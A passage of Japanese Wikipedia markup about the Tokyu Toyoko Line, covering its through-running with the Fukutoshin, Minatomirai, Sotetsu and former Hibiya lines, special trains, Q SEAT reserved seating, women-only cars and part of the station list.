|- style="text-align:center;"
| rowspan="2" style="background:pink;" |急行<br><small>(本線系統)</small>
|2本
| colspan="10" style="text-align:right" | || colspan="8" style="background:pink;" |
| style="text-align:left;" |
|- style="text-align:center;"
|2本
| colspan="2" style="text-align:right" | || colspan="8" style="background:lightblue;" |
| colspan="8" style="background:pink;" |
| rowspan="3" style="text-align:center;" style="text-align:center;" |副都心線内各駅停車
|- style="text-align:center;"
| rowspan="2" style="background:pink;" |急行<br><small>(東急新横浜線・相鉄線直通系統)</small>
|1本
| colspan="2" style="text-align:right" |←川越市|| colspan="8" style="background:lightblue;" |
| colspan="3" style="background:pink;" | || colspan="5" style="text-align:left" |湘南台→
|- style="text-align:center;"
|1本
| colspan="2" style="text-align:right" | || colspan="8" style="background:lightblue;" |
| colspan="3" style="background:pink;" | || colspan="5" style="text-align:left" |湘南台→
|- style="text-align:center;"
| rowspan="4" style="background:lightblue;" |各停
|2本
| colspan="2" style="text-align:right" | || colspan="16" style="background:lightblue;" |
| rowspan="4" style="text-align:left;" |
|- style="text-align:center;"
|2本
| colspan="4" style="text-align:right" |←石神井公園|| colspan="14" style="background:lightblue;" |
|- style="text-align:center;"
|2本
| colspan="7" style="text-align:right" | || colspan="11" style="background:lightblue;" |
|- style="text-align:center;"
|2本
| colspan="10" style="text-align:right" | || colspan="8" style="background:lightblue;" |
|}
== 直通運転 ==
=== 東京メトロ副都心線との相互直通運転 ===
2013年3月16日に東横線[[渋谷駅]] - [[代官山駅]]間(約1.3km)が地下化され、渋谷駅で[[東京メトロ副都心線]]との[[直通運転|相互直通運転]]が開始された<ref name="tokyu-release120724" /><ref name="tokyu20130122" />。
すでに副都心線では2008年の開業時から、途中駅である[[小竹向原駅]]で[[西武池袋線]]([[西武有楽町線]]経由)と、終点の[[和光市駅]]で[[東武東上本線|東武東上線]]とそれぞれ相互直通運転を実施しており、東横線と副都心線との相互直通運転と同時に、みなとみらい線・東横線から副都心線を介して西武池袋線[[飯能駅]](西武車の一部と東急車10両運用の一部は回送で[[武蔵丘信号場]])および東武東上線[[森林公園駅 (埼玉県)|森林公園駅]]に至る、鉄道5事業者([[東武鉄道]]・[[西武鉄道]]・[[東京地下鉄]]・東京急行電鉄・横浜高速鉄道)による相互直通運転が開始された<ref name="tokyu-release120724"/>。これに先立ち、西武池袋線では[[保谷駅]]を島式1面2線から2面3線に拡張する工事が行われたほか<ref>{{PDFlink|[https://web.archive.org/web/20081230091324/http://www.seibu-group.co.jp/railways/kouhou/news/2008/0522.pdf 2008年度鉄道整備事業設備投資計画(西武鉄道)]}} (Internet Archive)</ref>、2011年夏頃からは[[営団7000系電車|東京メトロ7000系]]<ref name="RAIL FAN715">鉄道友の会「RAIL FAN」No.715記事「2011年度 東急総決算」参照。</ref> ・[[東武9000系電車|東武9050系]]<ref name="RAIL FAN715"/>・[[西武6000系電車|西武6000系]]<ref name="RAIL FAN715"/>が終電後の東横線内において試運転を実施していた<ref name="RAIL FAN715"/>。また、逆に[[東急5000系電車 (2代)|東急5050系(4000番台含む)]]が副都心線(及び[[東京メトロ有楽町線|有楽町線]])や東武東上線内<ref>[http://railf.jp/news/2011/09/06/155900.html 東急5050系4000番台が小手指へ] - 鉄道ファン・railf.jp 鉄道ニュース、2011年9月6日</ref>、西武池袋線内<ref>[http://railf.jp/news/2011/09/13/092800.html 東急5050系4000番台が西武池袋線で試運転] - 鉄道ファン・railf.jp 鉄道ニュース、2011年9月13日</ref>で試運転を実施していた。2012年9月から東横線では[[東京メトロ10000系電車|東京メトロ10000系]]・7000系が、副都心線では東急5050系が先行営業運転をそれぞれ行っていた<ref name="railf.jp"/><ref>[http://railf.jp/news/2012/09/11/085800.html 東急5050系4000番台が東武東上線・地下鉄有楽町線で営業運転開始] - 鉄道ファン・railf.jp 鉄道ニュース、2012年9月11日<!--副都心線にも言及あり--></ref>。これにより、直通運転開始後は廃止される地上の渋谷駅に東京地下鉄の車両が入線することになり、多くの鉄道ファンのほか、一般の利用客にも写真を撮られるなどして注目された。
この相互直通運転開始により、西武の車両が初めて[[神奈川県]]内でも営業運転を開始した。
副都心線開業前の2002年初頭、東横線と副都心線との相互直通運転が正式に決まり、東京地下鉄の前身である[[帝都高速度交通営団|営団地下鉄]]側は計画を次のように一部変更した。
* 渋谷駅を島式ホーム1面2線から2面4線構造に変更し列車待避等ができるようにし、東横線側・副都心線側双方から折り返し運転を可能とするため[[分岐器|ポイント]]を設置([[引き上げ線]]は設置されない)。
* [[新宿三丁目駅]]において、東横線方面からの列車が折り返し運転を可能とするため、[[東新宿駅|東新宿]]寄りにY字型引き上げ線を設置。
一方、東急側ではアプローチとなる渋谷駅 - 代官山駅間の地下化工事完了に伴い、東横線の渋谷駅は地上2階から地下5階にある副都心線渋谷駅ホームに移設し、高架式ホームは廃止となった。駅舎の撤去後、渋谷駅周辺の再開発事業に活用され、山手線ホームから離れた位置にあった[[埼京線|JR埼京線]]([[湘南新宿ライン]])渋谷駅ホームをここに移設する計画で、2020年6月に移設された。なお、この副都心線ホームは[[東急田園都市線|田園都市線]]・[[東京メトロ半蔵門線|半蔵門線]]ホームと改札内での乗り換えが可能であり、これらのホームを一体的に管理するため、副都心線の渋谷駅ホームは、2008年6月14日の開業当初から東急が駅管理業務を行っていた<ref group="注釈">田園都市線(開業時は新玉川線)・半蔵門線ホームは開業時は当時の営団が駅管理を行っていたが、2007年12月2日始発から駅管理者が東京地下鉄から東急に移管されている。</ref>。
副都心線は、開業当初から[[ホームドア]]を使用した[[ワンマン運転]]を行っており、かつ、副都心線の車両は10両編成が基本であることから、同線への乗り入れに際し、これらに対応した設備改良が必要となった。このため、2010年度以降に増備された[[東急5000系電車 (2代)|東横線5050系車両]]は、当初より[[自動列車運転装置|ATO]]および運転士用ドア開閉ボタンなどを装備し、副都心線におけるワンマン運転に備えていた。また、副都心線との直通運転開始までに、既存の東横線所属の5000系・5050系<!-- → 副都心線直通運転開始前のことを述べているので、ここで形式を書かずに「全車両」と書いてしまうと対象外の車両(9000系)も含むようにも読めてしまう。-->にも同様の改造工事を施工し、[[急行列車|急行]]停車駅ではホームの延長工事を行った<ref name="Fuku-10R"/><ref>[http://www.tokyu.co.jp/contents_index/guide/news/100514-2.html 2010年度の鉄軌道事業設備投資計画]</ref>。従来、東横線・みなとみらい線の優等列車(特急・通勤特急・急行)は8両編成であったが、直通運転後は急行の一部をのぞいて10両編成に増結された。直通運転開始時に10両編成で運用しているのは、2011年から増備された東急5050系4000番台<ref group="注釈">8両編成の5000系・5050系とは運用が区別されている。</ref>と、他に、東京地下鉄7000系の一部、10000系、東武9000系、9050系、[[東武50000系|50070系]]、西武6000系である<ref>{{Citation | last=大沼 | first=一英 | date=2013年9月1日 | year=2013 | title=新・渋谷駅と5社相直 | periodical=鉄道ファン | volume=53 | issue=9 | pages=20-29}}</ref>。
なお、各駅停車については従来通り8両編成での運転となっており、各駅停車のみが停車する駅においてはホーム延伸工事が行われていない。また、副都心線の各駅停車のうち東京地下鉄7000系や東京地下鉄17000系には8両編成も存在する<ref group="注釈">東京地下鉄7000系は、元々すべてが10両編成であったが、副都心線乗り入れに際し、うち6M4Tの編成に対し8両化(4M4Tとした)の編成形態変更を行い、34編成中15編成が改造工事され、9編成は廃車となった。{{Citation | last=世木 | first=智博 | date=2007年9月1日 | year=2007 | title=東京地下鉄7000系の現状と今後 | periodical=鉄道ファン | volume=47 | issue=12 | pages=68-74}}</ref>が、これは東横線・みなとみらい線との相互直通運転において、主に各駅停車としての運用に就くためである。
2022年3月12日ダイヤ改正からの運行パターンとしては、日中16本/時のうち各駅停車2本/時が渋谷駅折り返しとなる以外はすべて副都心線に乗り入れる。このうち東横線特急が副都心線内急行・西武線内快速急行の最速達列車として<ref name="tokyu20130122" /><ref name="metro-release130122">{{cite press_release|和書 |url=http://www.tokyometro.jp/news/2013/pdf/metroNews20130122_1306-1.pdf|title=東急東横線との相互直通運転ダイヤが決定!|publisher=東京地下鉄|date=2013-01-22|accessdate=2013-01-24|format=PDF}}</ref>、西武池袋線[[小手指駅]]発着および、東武東上線内急行の東上線[[森林公園駅 (埼玉県)|森林公園駅]]発着のFライナーとして運転される。東横線急行(毎時4本運行)は副都心線内各駅停車の[[和光市駅]]発着となり、[[東新宿駅]]で後続の急行(東横線特急)を待避する。各駅停車は日中毎時6本が副都心線に直通するが、うち日中毎時2本は[[池袋駅]]折り返しとなっている。
<gallery>
STRUMethod.JPG|副都心線との直通運転に伴い、地上から地下への線路切り替えが行われた代官山駅付近。
Tokyu9000.jpg|9000系などの副都心線への乗り入れ対象外の車両は、直通運転開始前に全編成が運用を離脱した。
</gallery>
=== みなとみらい線との相互直通運転 ===
2004年2月1日から、横浜駅で[[横浜高速鉄道みなとみらい線]]と相互直通運転を行っている。
横浜駅では東横線の渋谷方面発横浜行き(平日1本、土休日2本)と横浜発東横線渋谷方面行き(平日1本のみかつ急行)および、みなとみらい線の横浜発元町・中華街行き始発電車を除く全列車が直通運転を行っているほか、横浜駅では会社間における[[乗務員交代|乗務員の交代]]を行わずに東急の乗務員が引き続きみなとみらい線内を通しで乗務すること、横浜高速鉄道の自社車両である[[横浜高速鉄道Y500系電車|Y500系]]が東横線の[[元住吉検車区]]所属であること、みなとみらい線内の駅業務を東急の子会社である[[東急レールウェイサービス]]が受け持っていることなど、東横線とみなとみらい線は事実上一体となって運行されている。
=== 相鉄線との相互直通運転 ===
{{Main|神奈川東部方面線|東急新横浜線}}
2023年3月18日から、[[東急新横浜線]]が開通し[[新横浜駅]]で[[相鉄新横浜線]]との相互直通運転を開始した<ref name="jrtt-sotetsu-tokyu20221216" /><ref name="tokyu20221216-2" />。
日中時間帯は[[相鉄いずみ野線]][[湘南台駅]]方面の列車として運転されているが、一部は[[相鉄本線]][[海老名駅]]・[[かしわ台駅]](発のみ)・[[大和駅 (神奈川県)|大和駅]](着のみ)・[[西谷駅]]発着列車として設定されている<ref name="tokyu20221124" /><ref name="sotetsu20221124">{{Cite press release|和書|url=https://cdn.sotetsu.co.jp/media/2022/pressrelease/pdf/r22-178-p51.pdf|archiveurl=https://web.archive.org/web/20221124013133/https://cdn.sotetsu.co.jp/media/2022/pressrelease/pdf/r22-178-p51.pdf|format=PDF|language=日本語|title=相鉄・東急直通線運行計画概要のお知らせ|publisher=相模鉄道|date=2022-11-24|accessdate=2022-11-24|archivedate=2023-11-24}}</ref><ref name="tokyu20221216" />。
=== 東京メトロ日比谷線との相互直通運転(終了) ===
1964年8月29日から、[[日吉駅 (神奈川県)|日吉駅]] - [[中目黒駅]] - [[帝都高速度交通営団|営団地下鉄]](現在の東京地下鉄)[[東京メトロ日比谷線|日比谷線]][[北千住駅]]間で[[直通運転|相互直通運転]]を開始した。その後、1988年から、日吉駅地下化工事に伴い暫定的に[[菊名駅]]まで延長されたが、当時は急行が少なく急行待避も無かったため、利用客からは好評で継続されることになった<ref>キャンDVDブックス『東急おもしろ運転徹底探見』([[JTBパブリッシング]])より</ref>。地下化工事終了後は、日中は日吉駅までの乗り入れとなったが、[[東急目黒線|目黒線]]の日吉延伸工事に伴い、2007年8月23日からは終日菊名駅まで直通するようになった。
日比谷線直通終了時点では定期列車の運行区間は主に菊名駅 - 日比谷線北千住駅間であり、朝と夜には[[武蔵小杉駅]]や日比谷線[[南千住駅]]発着列車も設定されていたほか、平日早朝には日比谷線[[広尾駅]]始発の菊名行きが設定されていた。武蔵小杉行は原則東急車の運用であるが、平日朝の1本はメトロ車で運用されていた<ref>『MY LINE 東京時刻表』(交通新聞社)2011年3月号より</ref>。
日比谷線は北千住駅から先、[[東武伊勢崎線]](東武スカイツリーライン)に乗り入れているが、東横線・日比谷線・スカイツリーライン3線直通列車は設定されておらず、東横線からの列車は北千住まで、スカイツリーラインからの列車は中目黒までの乗り入れとなっていた。
日比谷線直通列車は通常は全列車が各駅停車として運転されたが、臨時列車としてゴールデンウィーク・夏休み・クリスマスなどのシーズンには、日比谷線直通の「[[みなとみらい号]]」が運転されることがある(詳細は[[#臨時急行「みなとみらい号」|臨時急行「みなとみらい号」]]の節を参照)。
2001年の特急運転開始時に、日中における日比谷線直通電車の本数が半減し、1時間当たり4本(15分間隔)から2本(30分間隔)となった。
2013年3月16日の副都心線との直通開始を機に日比谷線との相互直通運転を終了し、東横線は全列車が渋谷・副都心線方面の運行となり、日比谷線は全列車が中目黒までの運行に変更された<ref name="tokyu-release120724" /><ref name="metro-release120724" />。日比谷線直通の代替として、菊名発着の渋谷方面行き列車をそれまでの日比谷線直通と同程度の本数運行している。またこの直通運転終了に伴い、東横線における18m車の運行が終了した。
==== 車両 ====
日比谷線直通終了時点で直通列車には[[東急1000系電車|東急1000系]]および[[営団03系電車|東京地下鉄(東京メトロ)03系]]が使用されていた。車両規格も東横線・みなとみらい線内を走る20m級4つドア大型車体とは異なり、18m級3つドアまたは5つドア中型車体となっている。列車に搭載されている保安設備の関係上、日比谷線に乗り入れていた東急の車両は東武伊勢崎線に乗り入れることができなかった。逆に東武の車両も同様の理由により、東横線内には乗り入れることができない。車両の運用は『MY LINE 東京時刻表』([[交通新聞社]])の日比谷線のページにおける列車番号欄の末尾「'''K'''」の列車は東急1000系、「'''S'''」の列車は東京メトロ03系となっていることで判別できた(「'''T'''」の列車は東武の車両)。ただし、定期検査時やダイヤが乱れた際はこの限りではなかった。
* 北千住方面行の1000系は種別表示において「日比谷線直通」と表示されていた(これは中目黒駅 - 北千住駅間の日比谷線内折り返し運転の際も同様)。菊名方面行の時において日比谷線内では無表示であるが、東横線内は「各停」と表示された。
*: (例)北千住駅→中目黒駅間:「菊名」、中目黒駅→東急区間:「各停 菊名」、東急→メトロ「日比谷線直通 北千住」
* 03系には「菊名」や「北千住」など行先が表示されるだけである。
* 日比谷線内での号車番号表記は東急の車両は北千住寄り先頭車が1号車、東京メトロの車両は中目黒寄り先頭車が1号車と逆だったが、2011年時点では、東京メトロ車両の号車番号表記も北千住寄り先頭車を1号車としており<ref>[http://www.tokyometro.jp/station/platform/hibiya.html 乗り換え・出口案内:日比谷線] - 東京地下鉄公式サイト</ref>、逆向きは解消されている。
なお、日比谷線直通用1000系は東横線での運用を終了して[[元住吉検車区]]にて留置<ref>{{Cite web|和書|url=http://railf.jp/news/2013/03/19/090000.html|title=東急1000系が元住吉で5本並んで留置される|work=[[鉄道ファン (雑誌)|鉄道ファン]]鉄道ニュース|date=2013-03-16|accessdate=2014-05-17}}</ref>の後、一部の車両は[[総合車両製作所]]にて3両編成化やワンマン運転対応をはじめとする改造工事(同時に1500番台に改番)を受け、2014年5月から[[雪が谷検車区]]に転属の上で[[東急池上線|池上線]]・[[東急多摩川線]]での運用を開始している<ref>{{Cite web|和書|url=http://railf.jp/news/2014/05/12/130000.html|title=東急1000系(1500番台)1503編成が営業運転を開始|work=[[鉄道ファン (雑誌)|鉄道ファン]]鉄道ニュース|date=2014-05-11|accessdate=2014-05-17}}</ref>。
=== 蒲蒲線との直通運転構想 ===
[[空港連絡鉄道]]として検討が進められている[[蒲蒲線]]が開通すれば、[[東急多摩川線]]を介して[[京急蒲田駅]]方面まで直通運転が可能となる<ref>{{PDFlink|[http://www.city.ota.tokyo.jp/seikatsu/sumaimachinami/koutsu/kamakamasen/pr_leaflet.files/shinkuukousen-panf_2017_05.pdf 新空港線「蒲蒲線」整備促進事業のPRパンフレット「つながり はばたけ 新空港線(蒲蒲線)」]}} - 大田区</ref>。
=== その他 ===
旅客営業は行っていなかったが、2000年8月6日の目黒線開業以来[[元住吉検車区]]への回送列車として目黒線の車両([[東急3000系電車 (2代)|3000系]]・[[東急5000系電車 (2代)|5080系]])および同線への乗り入れ車両である都営6300形・[[営団9000系電車|東京地下鉄9000系]]・[[埼玉高速鉄道2000系電車|埼玉高速鉄道2000系]](都車は2000年9月22日より、メトロ車は2003年改正より、埼玉車は2006年改正より)が武蔵小杉 - 元住吉間を走行していた。2008年6月22日の目黒線武蔵小杉 - 日吉間延伸開業以降は、目黒線の線路を通って元住吉検車区へ回送されている。
== 臨時列車 ==
=== 臨時急行「みなとみらい号」 ===
{{Main|みなとみらい号}}
[[File:TKK1004F minatomirai-go.jpg|thumb|right|200px|日比谷線から運転されるみなとみらい号は1000系を使用]]
[[ファイル:TKK5184F minatomirai-go.jpg|thumb|250px|埼玉高速鉄道線から運転されるみなとみらい号は5080系を使用]]
[[埼玉高速鉄道線]][[浦和美園駅|浦和美園]]と[[都営地下鉄三田線]][[高島平駅|高島平]]から、元町・中華街に向けて、1 - 2か月に1回の割合で「みなとみらい号」が運行されている。2006年8月運転分までは、武蔵小杉で目黒線から東横線に転線し、東横線・みなとみらい線内を急行列車として運転されていた。しかし、同年12月運転分からはさらに目黒線内でも急行運転を行い、同時に目黒線から東横線に転線する駅も田園調布に変更された。また、元住吉駅で臨時停車を行い、後発の特急列車の通過待ちをする。
日比谷線でも同様に、北千住から元町・中華街まで、1 - 2か月に1回の割合で「みなとみらい号」が運行されている。各駅停車として運転される通常の日比谷線直通電車と異なり、東横線内を急行列車として運転する。2007年3月運転分までは日比谷線内でも急行運転を行っていた。
; 運転区間
: [[北千住駅|北千住]] - [[中目黒駅|中目黒]] - [[横浜駅|横浜]] - [[元町・中華街駅|元町・中華街]]
: 高島平 - [[目黒駅|目黒]] - [[田園調布駅|田園調布]] - 横浜 - 元町・中華街
: 浦和美園 - [[赤羽岩淵駅|赤羽岩淵]] - 目黒 - 田園調布 - 横浜 - 元町・中華街
; 停車駅
: [[東京メトロ日比谷線]][[北千住駅]]発着の列車は、地下鉄線・みなとみらい線の各駅と中目黒 - 横浜の急行停車駅
: 都営三田線高島平駅および埼玉高速鉄道線浦和美園駅発着の列車は、地下鉄線・みなとみらい線の各駅と目黒 - 横浜の急行停車駅
=== ネームドトレイン ===
現在は行楽期に「みなとみらい号」が運行されているが、かつては下記の名称の臨時急行が設定されていた。
* '''綱島号''' - [[綱島温泉]]の観光目的のために設定。
* '''さざなみ号''' - [[京浜急行電鉄]]と[[タイアップ]]し、横浜駅で京急の湘南逗子(現在の[[逗子・葉山駅|逗子・葉山]])行きの急行に接続。
* '''勝山号''' '''鹿野山号''' - [[東海汽船]]とタイアップして運行。当時は、横浜高島町に同社運航船の桟橋があり、同社の手によって、房総半島への定期船が運航されていた。
* '''Y150たねまる号''' - 2009年9月21日から23日にかけて運転された。これは同年9月まで開催されていた[[開国博Y150]]に合わせた臨時列車である。
=== 西武ドームへの観客輸送 ===
{{Main|西武有楽町線#西武ドームへの観客輸送}}
小手指行きの東横特急(副都心線内急行、西武線内快速急行のFライナー)を西武線内快速に変更の上で西武球場前行きとして運行する。西武線内代替として、ひばりヶ丘発の小手指行き快速急行(Fライナーとは名乗らない)が運行される。
=== 平日朝の臨時列車 ===
東京都の混雑緩和プロジェクト「時差Biz」にあわせて、2018年7月の平日朝6時台に、元町・中華街発和光市行き「時差Biz特急」を運行<ref name="TOKYU NEWS 2018/06/21">{{Cite web|和書|url=http://www.tokyu.co.jp/image/news/pdf/20180621.pdf|title=東京都の快適通勤ムーブメント「時差Biz」に連動し、田園都市線・東横線で朝6時台の臨時列車を運転、「グッチョイクーポン」第5弾を配信|publisher=東京急行電鉄|date=2018-06-21|accessdate=2018-06-24|format=pdf}}</ref>。種別は、元町・中華街 - 渋谷間が東横特急、渋谷 - 和光市間が通勤急行で、各区間の停車駅はそれぞれの種別と同じである。但し[[菊名駅]]での各駅停車への接続はない。
== Qシート ==
2023年8月10日から[[座席指定席|有料座席指定サービス]]「'''[[Qシート]]'''」 (Q SEAT) を開始した<ref name="tokyu20230726" />。
平日夜間の渋谷発みなとみらい線直通の急行元町・中華街行きのうち5本で、[[東急5000系電車 (2代)#5050系4000番台|5050系4000番台]]の4号車・5号車を[[東急5000系電車 (2代)#Qシート車両|Qシート車両]]([[鉄道車両の座席#デュアルシート|ロングシートとクロスシートを転換可能]])に設定して運行している<ref name="tokyu20221021" />。1編成目は2022年10月24日に先行して一般車両としてロングシートで営業運転を開始している。
座席数は2両で90席(1両45席)。座席指定料金は一律500円で、渋谷駅 - 菊名駅間は列車指定券が必要な乗降可能区間、横浜駅 - 元町・中華街駅間は列車指定券が不要なフリー乗降区間となる。列車指定券は渋谷駅、中目黒駅、学芸大学駅、自由が丘駅、田園調布駅、多摩川駅、武蔵小杉駅、日吉駅、綱島駅、菊名駅、横浜駅の各駅の駅窓口で販売されるほか、専用webサイト「Qシートチケットレスサービス」でも購入できる。列車指定券は乗車当日の朝5時から発売され、チケットレス購入も可能である。
全てのドアが開くが、列車指定券確認のため、渋谷寄り1か所以外はガードが張られるため利用できない。ただし、菊名駅を発車後に全てのガードが畳まれ手すり脇に格納され、横浜駅からのフリー乗降区間では全ドアが利用できる。
== 女性専用車 ==
2013年3月18日以降は、平日の始発から9時30分にかけて、8両・10両編成ともに、渋谷寄りの車両である'''1号車'''が[[日本の女性専用車両|女性専用車]]となる。対象区間は上下とも東横線・みなとみらい線全線で東横線内上り列車は東京メトロ副都心線池袋駅、相鉄線に直通する東横線内下り列車は東急新横浜線新横浜駅まで実施し、実施区間の途中であっても9時30分を以て一斉終了となる。
=== 女性専用車の変遷 ===
東横線女性専用車は、2005年7月25日に初めて導入された<ref name="tokyu20050713" />。この際は、平日の優等列車で終日、横浜寄りの先頭車である8号車に設定されていた。首都圏で女性専用車が終日導入されたのは初めての試みであり、各種メディアにおいても話題となった。ところが、日中および夕ラッシュ時間帯以降における渋谷方面行の利用状況が低いことや、菊名駅を中心に発生した諸問題(詳細は「[[菊名駅#菊名問題]]」を参照)が原因で同駅を利用する男性客を中心に大きな反発を受けた。
そのような経緯から、2006年7月18日に設定時間帯の縮小ならびに設定車両の変更を実施した<ref>[https://web.archive.org/web/20060619231454/http://www.kanalog.jp/news/local/entry_17114.html ☆女性専用車両の位置を変更へ/東横線☆ 2006年1月5日 神奈川新聞(インターネットアーカイブ)]</ref><ref name="tokyu20060718" />。この時点での実施対象列車は平日の始発から10時までの上下線と、[[渋谷駅]]を17時以降に発車する優等列車で、中間の5号車が設定対象とされた。
また、2006年7月14日まで、[[東急9000系電車|9000系]]の8号車には、女性専用車の設定位置を強調する目的と企業とのタイアップの目的を兼ねて、一部編成をのぞいた車体に、[[TBSテレビ|TBS]]の[[テレビドラマ]]広告が[[ラッピング広告|ラッピング]]されていた。
2013年3月16日(平日ダイヤでは3月18日)の副都心線との直通運転開始後は、女性専用車は上下線ともに渋谷寄りの1号車に、運用時間が平日の始発から9時30分までにそれぞれ変更され、同時に各駅停車を含む全ての種別が対象となった。副都心線、その他乗り入れる東武鉄道・西武鉄道各路線の女性専用車の位置と統一される形となった。
2023年3月18日(平日ダイヤでは3月20日)より、女性専用車の設定号車が異なる[[相鉄本線|相鉄線]]との直通運転が開始されたが、相鉄側が東横線に乗り入れる列車のみ位置を変更する形となったため、東横線において変更はない。
== 駅一覧 ==
田園調布駅 - 日吉駅間の複々線区間で並走している目黒線の停車駅などについては「[[東急目黒線#駅一覧|目黒線]]」を参照。日吉駅 - 新横浜駅間の東急新横浜線の停車駅などについては「[[東急新横浜線#駅一覧|東急新横浜線]]」を参照。
; 凡例
: ●:停車、◇<!--副都心線・有楽町線・西武池袋線と使用記号を合わせています-->:[[停車 (鉄道)#運転停車|運転停車]]、|:通過
: [[駅ナンバリング|駅番号]]は、[[2012年]]2月上旬から順次導入<ref>[http://www.tokyu.co.jp/contents_index/guide/news/120126-1.html 東急線全駅で駅ナンバリングを導入します] {{webarchive|url=https://web.archive.org/web/20121119182520/http://www.tokyu.co.jp/contents_index/guide/news/120126-1.html |date=2012年11月19日 }} - 東京急行電鉄、2012年1月26日、2012年1月26日閲覧。</ref>。
: 各駅停車はすべての駅に停車する(表では省略)。
: 接続路線および備考の括弧内は接続路線の駅番号など。
{| class="wikitable" rules="all"
|-
!style="border-bottom:#da0442 3px solid; width:4em;"|駅番号
!style="border-bottom:#da0442 3px solid; width:6em;"|駅名
!style="border-bottom:#da0442 3px solid; width:2.5em;"|駅間キロ
!style="border-bottom:#da0442 3px solid; width:2.5em;"|累計キロ
!style="border-bottom:#da0442 3px solid; width:1em; background-color:pink;"|{{縦書き|急行(本線系統)}}
!style="border-bottom:#da0442 3px solid; width:1em; background-color:pink;"|{{縦書き|急行(東急新横浜線直通系統)}}
!style="border-bottom:#da0442 3px solid; width:1em; background-color:lightgreen;"|{{縦書き|通勤特急}}
!style="border-bottom:#da0442 3px solid; width:1em; background-color:orange;"|{{縦書き|特急}}
!style="border-bottom:#da0442 3px solid; width:1em; background-color:white;"|{{縦書き|S-TRAIN}}
!style="border-bottom:#da0442 3px solid;"|接続路線・備考
!style="border-bottom:#da0442 3px solid; width:1em; line-height:1em; "|{{縦書き|地上/地下|height=6em}}
!colspan="3" style="border-bottom:#da0442 3px solid;"|所在地
|-
!colspan="4"|直通運転区間
|colspan="10"|[[File:Logo of Tokyo Metro Fukutoshin Line.svg|18px|F]] [[東京メトロ副都心線]]経由で以下の路線・駅まで
*[[File:Tobu Tojo Line (TJ) symbol.svg|18px|TJ]] [[東武東上本線]][[森林公園駅 (埼玉県)|森林公園駅]](土曜・休日の一部列車のみ[[小川町駅 (埼玉県)|小川町駅]])まで
*[[File:Seibu ikebukuro logo.svg|18px|SI]] [[西武有楽町線]]経由[[File:Seibu ikebukuro logo.svg|18px|SI]] [[西武池袋線]][[飯能駅]]・[[File:Seibu ikebukuro logo.svg|18px|SI]] [[西武狭山線]][[西武球場前駅]](臨時列車のみ)・[[File:Seibu ikebukuro logo.svg|18px|SI]] [[西武秩父線]][[西武秩父駅]](S-TRAINのみ)まで
|-
!TY01
|[[渋谷駅]]
|style="text-align:center;"| -
|style="text-align:right;"|0.0
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:lightgreen;"|●
|style="text-align:center; background-color:orange;"|●
|style="text-align:center; background-color:white;"|●
|[[東急電鉄]]:[[File:Tokyu DT line symbol.svg|18px|DT]] [[東急田園都市線|田園都市線]] (DT01)<br />[[東日本旅客鉄道]]:[[ファイル:JR_JY_line_symbol.svg|18px|JY]] [[山手線]] (JY 20)・[[ファイル:JR_JA_line_symbol.svg|18px|JA]] [[埼京線]] (JA 10)・[[ファイル:JR_JS_line_symbol.svg|18px|JS]] [[湘南新宿ライン]] (JS 19)<br />[[京王電鉄]]:[[File:Number prefix Keio-Inokashira-line.svg|18px|IN]] [[京王井の頭線|井の頭線]] (IN01)<br />[[東京地下鉄]]:[[File:Logo of Tokyo Metro Ginza Line.svg|18px|G]] [[東京メトロ銀座線|銀座線]] (G-01)・[[File:Logo of Tokyo Metro Hanzōmon Line.svg|18px|Z]] [[東京メトロ半蔵門線|半蔵門線]] (Z-01)・[[File:Logo of Tokyo Metro Fukutoshin Line.svg|18px|F]] '''副都心線 (F-16)(直通運転:上記参照)'''
|style="text-align:center; background-color:#ccc; width:1em; line-height:1em;"|{{縦書き|地下区間|height=5em}}
|rowspan="9" style="width:1em; text-align:center; letter-spacing:0.5em;"|{{縦書き|[[東京都]]|height=6em}}
|colspan="2" rowspan="2" style="text-align:left;"|[[渋谷区]]
|-
!TY02
|[[代官山駅]]
|style="text-align:right;"|1.5
|style="text-align:right;"|1.5
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|
|rowspan="6" style="text-align:center; background:#fff; color:#000; width:1em;"|{{縦書き|地上区間|height=5em}}
|-
!TY03
|[[中目黒駅]]
|style="text-align:right;"|0.7
|style="text-align:right;"|2.2
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:lightgreen;"|●
|style="text-align:center; background-color:orange;"|●
|style="text-align:center; background-color:white;"|◇
|東京地下鉄:[[File:Logo of Tokyo Metro Hibiya Line.svg|18px|H]] [[東京メトロ日比谷線|日比谷線]] (H-01)
|colspan="2" rowspan="5" style="text-align:left;"|[[目黒区]]
|-
!TY04
|[[祐天寺駅]]
|style="text-align:right;"|1.0
|style="text-align:right;"|3.2
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|
|-
!TY05
|[[学芸大学駅]]
|style="text-align:right;"|1.0
|style="text-align:right;"|4.2
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|
|-
!TY06
|[[都立大学駅]]
|style="text-align:right;"|1.4
|style="text-align:right;"|5.6
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:pink;"||
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|
|-
!TY07
|[[自由が丘駅]]
|style="text-align:right;"|1.4
|style="text-align:right;"|7.0
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:lightgreen;"|●
|style="text-align:center; background-color:orange;"|●
|style="text-align:center; background-color:white;"|●
|東急電鉄:[[File:Tokyu OM line symbol.svg|18px|OM]] [[東急大井町線|大井町線]] (OM10)
|-
!TY08
|[[田園調布駅]]
|style="text-align:right;"|1.2
|style="text-align:right;"|8.2
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:pink;"|●
|style="text-align:center; background-color:lightgreen;"||
|style="text-align:center; background-color:orange;"||
|style="text-align:center; background-color:white;"||
|東急電鉄:[[File:Tokyu MG line symbol.svg|18px|MG]] [[東急目黒線|目黒線]] (MG08) 〈[[目黒駅|目黒]]方面〉
